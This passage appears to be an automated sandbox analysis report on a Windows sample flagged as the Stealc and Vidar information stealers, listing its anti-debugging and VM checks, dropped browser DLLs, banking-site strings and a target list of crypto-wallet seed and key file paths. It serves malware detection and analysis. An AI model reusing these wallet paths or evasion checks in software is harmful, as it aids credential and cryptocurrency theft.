Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141F7E3 second address: 141F7FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D9CDEFDD1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141F7FA second address: 141F7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E68D second address: 141E695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141EC05 second address: 141EC09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141EC09 second address: 141EC0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141EC0F second address: 141EC23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F9D9C813266h 0x0000000e je 00007F9D9C813266h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141F200 second address: 141F22F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD4h 0x00000007 pushad 0x00000008 jmp 00007F9D9CDEFDD0h 0x0000000d jno 00007F9D9CDEFDC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420F57 second address: 1420F89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F9D9C81326Dh 0x0000000c popad 0x0000000d jmp 00007F9D9C813273h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push edx 0x0000001a pop edx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424F1D second address: 1424F39 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F9D9CDEFDD1h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425174 second address: 1425178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425461 second address: 14254E6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9D9CDEFDCCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F9D9CDEFDD9h 0x00000011 push ebx 0x00000012 jmp 00007F9D9CDEFDCCh 0x00000017 pop ebx 0x00000018 popad 0x00000019 nop 0x0000001a mov edx, ecx 0x0000001c push dword ptr [ebp+122D3024h] 0x00000022 and edx, 26EF7FD3h 0x00000028 mov edx, ebx 0x0000002a call 00007F9D9CDEFDC9h 0x0000002f jmp 00007F9D9CDEFDCAh 0x00000034 push eax 0x00000035 push ecx 0x00000036 jmp 00007F9D9CDEFDCFh 0x0000003b pop ecx 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 jmp 00007F9D9CDEFDCBh 0x00000045 mov eax, dword ptr [eax] 0x00000047 pushad 0x00000048 push edi 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14254E6 second address: 1425504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9D9C813277h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425504 second address: 142552A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9D9CDEFDD9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0221 second address: 4EB0226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0226 second address: 4EB022C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB022C second address: 4EB0230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0230 second address: 4EB0243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dx, DD00h 0x00000010 mov dh, C9h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0243 second address: 4EB026A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C81326Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9D9C813275h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB031A second address: 4EB0320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0320 second address: 4EB0324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0A06 second address: 4EB0A83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edx, si 0x0000000e pushfd 0x0000000f jmp 00007F9D9CDEFDD8h 0x00000014 adc cl, 00000028h 0x00000017 jmp 00007F9D9CDEFDCBh 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f jmp 00007F9D9CDEFDD6h 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F9D9CDEFDD7h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0A83 second address: 4EB0A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0A89 second address: 4EB0A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1191860 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 119197F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 132E6C9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 134184B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F44910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F44910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00F3DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00F3E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F316D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F3F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F43EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00F43EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00F3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00F438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F44570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00F44570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00F3ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F3DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F31160 GetSystemInfo,ExitProcess,

0_2_00F31160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: IIEGHJJD.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: IIEGHJJD.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: IIEGHJJD.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: IIEGHJJD.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: IIEGHJJD.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq
Source: IIEGHJJD.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: IIEGHJJD.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2455507692.00000000007E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2455507692.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: IIEGHJJD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: IIEGHJJD.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: IIEGHJJD.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: IIEGHJJD.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: IIEGHJJD.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: IIEGHJJD.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: IIEGHJJD.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: IIEGHJJD.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: IIEGHJJD.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: IIEGHJJD.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: IIEGHJJD.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: IIEGHJJD.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: IIEGHJJD.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: IIEGHJJD.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: IIEGHJJD.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: IIEGHJJD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2455507692.0000000000788000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: IIEGHJJD.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: IIEGHJJD.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: IIEGHJJD.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: IIEGHJJD.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: IIEGHJJD.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: IIEGHJJD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2455507692.0000000000788000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareI
Source: IIEGHJJD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: IIEGHJJD.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58097
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58075
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58078
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59264
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58129
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58089

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB35FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB35FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F345C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00F345C0

Source: C:\Users\user\Desktop\file.exe

0_2_00F49860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F49750 mov eax, dword ptr fs:[00000030h]

0_2_00F49750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F478E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00F478E0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CB0B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CB0B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4388, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F49600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00F49600

Source: file.exe, file.exe, 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB0B341 cpuid

0_2_6CB0B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00F47B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F47980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00F47980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F47850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00F47850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F47A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00F47A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.f30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2455507692.0000000000788000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2229140448.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4388, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4388, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
